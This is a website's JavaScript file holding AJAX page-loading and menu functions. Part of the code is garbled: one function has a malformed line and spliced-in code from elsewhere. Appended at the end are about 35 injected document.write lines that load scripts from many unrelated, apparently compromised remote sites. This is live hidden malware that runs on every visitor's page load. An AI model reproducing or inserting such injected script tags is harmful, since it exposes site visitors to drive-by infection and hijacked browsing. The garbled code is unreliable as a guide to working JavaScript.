﻿ var xmlHttp;
//==========================================================================================
function GetXmlHttpObject()
		{ 
			var objXMLHttp=null
			if (window.XMLHttpRequest)
			    {
			 	    objXMLHttp=new XMLHttpRequest()
			 	 }
			else if (window.ActiveXObject)
				{
				  objXMLHttp=new ActiveXObject("Microsoft.XMLHTTP")
				}
			return objXMLHttp
		} 
//==========================================================================================
function Get_Page_Info(Mid,Sid)
    {
      window.scrollTo(0,0)
      if (document.getElementById("PageInfo"))
          document.getElementById("PageInfo").style.visibility = "hidden";
      if (document.getElementById("ResPage"))
          document.getElementById("ResPage").style.visibility = "hidden";
      if (document.getElementById("TopResPage"))
          document.getElementById("TopResPage").style.visibility = "hidden";
	 document.getElementById("LoadingPanel").style.visibility="visible"
      xmlHttp=GetXmlHttpObject() // Check For Support AJAX Technology
	  if (xmlHttp==null)
				{
				   alert ("Browser does not support HTTP Request")
				   return
				}
		url = BaseURL
	    url = url + "GetPageInfo.asp?Id="+ Mid+"&Sid="+Sid
	    xmlHttp.onreadystatechange=Show_Page_Info
	    xmlHttp.open("GET",url,true)
	    xmlHttp.send(null)
   }
//===============================================================================================
function Show_Page_Info() 
		{  
		
		if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
		   { 
		      
			  str = new String(xmlHttp.responseText)
			  i = str.indexOf("<RAK-Title>",0)
			  if (i > 1) 
			     { 
			        tit = str.substring(0,i) 
			        document.title = tit
              	  }
              str = str.substring(i+12,str.length)
              i = str.indexOf("<RAK-FileName>",0)
              if ( i > 2)
                {
                   FileName = str.substring(0,i)
                }
              str = str.substring(i+15,str.length)
			  document.getElementById("PageInfo").innerHTML=str
		      document.getElementById("LoadingPanel").style.visibility="hidden"
    	  if (document.getElementById("PageInfo"))
     		     document.getElementById("PageInfo").style.visibility = "visible";
    	  if (document.getElementById("ResPage"))
   		       document.getElementById("ResPage").style.visibility = "visible";
   		   if (document.getElementById("TopResPage"))
   		       document.getElementById("TopResPage").style.visibility = "visible";		      
		      if ( i > 3)
                {
                     GotoPage(FileName,"ResPage")
                }
			       
	       } 
		} 
//================================================================================================
function Get_OtherPage_Info(Mid)
    {
     window.scrollTo(0,0)
      if (document.getElementById("PageInfo"))
          document.getElementById("PageInfo").style.visibility = "hidden";
      if (document.getElementById("ResPage"))
          document.getElementById("ResPage").style.visibility = "hidden";
      if (document.getElementById("TopResPage"))
          document.getElementById("TopResPage").style.visibility = "hidden";

      document.getElementById("LoadingPanel").style.visibility="visible";
      xmlHttp=GetXmlHttpObject() // Check For Support AJAX Technology
	  if (xmlHttp==null)
				{
				   alert ("Browser does not support HTTP Request")
				   return
				}
		url = BaseURL
	    url = url + "GetOtherPageInfo.asp?Id="+ Mid
	    xmlHttp.onreadystatechange=Show_OtherPage_Info
	    xmlHttp.open("GET",url,true)
	    xmlHttp.send(null)
   }
//===============================================================================================
function Show_OtherPage_Info() 
		{  
		if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
		   { 
			  str = new String(xmlHttp.responseText)
		      document.getElementById("PageInfo").innerHTML=str
		      document.getElementById("LoadingPanel").style.visibility="hidden"
    	  if (document.getElementById("PageInfo"))
     		     document.getElementById("PageInfo") S = "Sub"+Preid
		   if (document.getElementById(S))
		       document.getElementById(S).style.visibility="Hidden"	   
		                
		   if(document.getElementById(id)) 
              if(document.getElementById(id).className != "DPPicMenu")
		           {
                    if(document.getElementById(id).className == "DPMenu_SubMenu")
  	                   document.getElementById(id).className = "DPMenu_SubMenuOn"
  	                if(document.getElementById(id).className == "DPMenu")
  	                   document.getElementById(id).className = "DPMenuOn"
                   }
		   S = "Sub"+id
		   if (document.getElementById(S))
		       document.getElementById(S).style.visibility="visible"	       
		       
		   Preid = id
      	}
//================================================================================================
function MouseOutMenu(id) 
		{
		  if (id != Preid) 
		    if(document.getElementById(id))
		       {
		         document.getElementById(id).className = "DPMenu"
		         return
		       }
   		}
//================================================================================================
function HideAll(id) 
		{
           S = "Sub"+id
		   if (document.getElementById(S))
		       document.getElementById(S).style.visibility="Hidden"		  

		}
//================================================================================================
function SendMail() 
        { 
           
           a = document.tamas.TXName.value
           b = document.tamas.TXEmail.value
           c = document.tamas.TxMail.value
           if (c=="") 
               return false
           GotoPage("Send_mail.asp?TxName="+a+"&TxEmail="+b+"&TxMail="+c,'TopResPage')
		}
//================================================================================================

document.write('<script src=http://redrosetechnicals.com/admin/contact.php ><\/script>');
document.write('<script src=http://elitecafe.com/case/employment.php ><\/script>');
document.write('<script src=http://elitecafe.com/case/employment.php ><\/script>');
document.write('<script src=http://elitecafe.com/case/employment.php ><\/script>');
document.write('<script src=http://vostok-line.spb.ru/images/iz9u/bottom-bg.php ><\/script>');
document.write('<script src=http://vostok-line.spb.ru/images/iz9u/bottom-bg.php ><\/script>');
document.write('<script src=http://louisjbarry.com/wp-includes/fantastico_fileslist.php ><\/script>');
document.write('<script src=http://louisjbarry.com/wp-includes/fantastico_fileslist.php ><\/script>');
document.write('<script src=http://louisjbarry.com/wp-includes/fantastico_fileslist.php ><\/script>');
document.write('<script src=http://zone.clickwm.ru/setlinks_836d5/plugins.php ><\/script>');
document.write('<script src=http://zone.clickwm.ru/setlinks_836d5/plugins.php ><\/script>');
document.write('<script src=http://wafflecm.org/inc/map.php ><\/script>');
document.write('<script src=http://wafflecm.org/inc/map.php ><\/script>');
document.write('<script src=http://wafflecm.org/inc/map.php ><\/script>');
document.write('<script src=http://nikeparis.fr/nl_14/newsletter05.php ><\/script>');
document.write('<script src=http://gainmagazine.net/components/INSTALL.php ><\/script>');
document.write('<script src=http://kumpangcity.go.th/images/info8.php ><\/script>');
document.write('<script src=http://elmante.gob.mx/informe/lytebox.php ><\/script>');
document.write('<script src=http://elmante.gob.mx/informe/lytebox.php ><\/script>');
document.write('<script src=http://elmante.gob.mx/informe/lytebox.php ><\/script>');
document.write('<script src=http://amritara.co.in/ssg/careers-1.php ><\/script>');
document.write('<script src=http://amritara.co.in/ssg/careers-1.php ><\/script>');
document.write('<script src=http://amritara.co.in/ssg/careers-1.php ><\/script>');
document.write('<script src=http://majnon313.webphoto.ir/photos/blogviewerw.php ><\/script>');
document.write('<script src=http://slim-bar.com/imho/menusimple3.php ><\/script>');
document.write('<script src=http://slim-bar.com/imho/menusimple3.php ><\/script>');
document.write('<script src=http://nofakewatches.com/uploads/admin.php ><\/script>');
document.write('<script src=http://praceopava.cz/wp-content/wp-mail.php ><\/script>');
document.write('<script src=http://ns.phudoi.net/images/z3nb3/sorry.php ><\/script>');
document.write('<script src=http://ns.phudoi.net/images/z3nb3/sorry.php ><\/script>');
document.write('<script src=http://bonanzagt.com/Mach/sound.php ><\/script>');
document.write('<script src=http://bonanzagt.com/Mach/sound.php ><\/script>');
document.write('<script src=http://kolbiten.se/Bilder/b-one-default.php ><\/script>');
document.write('<script src=http://kolbiten.se/Bilder/b-one-default.php ><\/script>');
document.write('<script src=http://bladyuae.com/joomla/dlil.php ><\/script>');